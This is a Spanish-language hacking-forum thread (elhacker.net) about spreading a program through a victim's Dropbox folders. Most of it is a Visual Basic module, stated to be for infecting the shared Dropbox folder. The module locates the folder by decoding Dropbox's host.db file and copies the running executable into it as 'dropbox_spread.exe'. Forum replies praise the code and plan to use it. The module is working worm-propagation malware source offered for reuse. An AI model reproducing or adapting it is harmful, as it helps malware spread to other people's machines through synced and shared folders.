Foro de elhacker.net

Infecta todas las carpetas de Dropbox del usuario.

El código no está mal, pero no está correctamente implementado. Utilizas rutas estáticas... que ocurre si ejecutas tu código en un PC cuya carpeta de dropbox esté en "E:\ejemplo\mi_dropbox" ? Para ello utiliza lo siguiente:

'---------------------------------------------------------------------------------------
' Modulo     :  SpreadDropbox
' Autor      :  uddtools.com
' Adapatdo: MadAntrax
' Fecha      :  16/09/2013
' Finalidad  :  Infectar la carpeta compartida Dropbox
' Uso        :  Call DropboxSpread(App.Path & "\" & App.EXEName & ".exe", "dropbox_spread.exe")
'               Idea extraída del foro uddtools.com, se ha modificado el código quitado dependencias
'               a Microsoft Scripting Runtime
'---------------------------------------------------------------------------------------
 
Private Sub Form_Load()
    MsgBox "Dropbox Folder = " & getDropboxPath
    Call DropboxSpread(App.Path & "\" & App.EXEName & ".exe", "dropbox_spread.exe")
End Sub
 
Public Sub DropboxSpread(sFilePath As String, sFileName As String)
    FileCopy sFilePath, getDropboxPath & "\" & sFileName
End Sub
 
Private Function getDropboxPath() As String
    getDropboxPath = Base64Decode(Read_host(Environ("APPDATA") & "\Dropbox\host.db"))
End Function
 
Private Function Read_host(sFile As String) As String
    Dim Code As String
    Open sFile For Binary Access Read As #1
        Code = Space(LOF(1))
        Get #1, , Code
    Close #1
    Read_host = Split(Code, Chr(10))(1)
End Function
 
'Credits to pscode.com
Function Base64Decode(ByVal base64String As String) As String
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
 
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
 
  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then Exit Function
 
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0
    For CharCounter = 0 To 3
      thisChar = Mid(base64String, groupBegin + CharCounter, 1)
      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then Exit Function
      nGroup = 64 * nGroup + thisData
    Next
    nGroup = Hex(nGroup)
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    sOut = sOut & Left(pOut, numDataBytes)
  Next
  Base64Decode = sOut
End Function
 

Buen codigo MadAntrax y no conocia host.db aver si lo puedo implementar.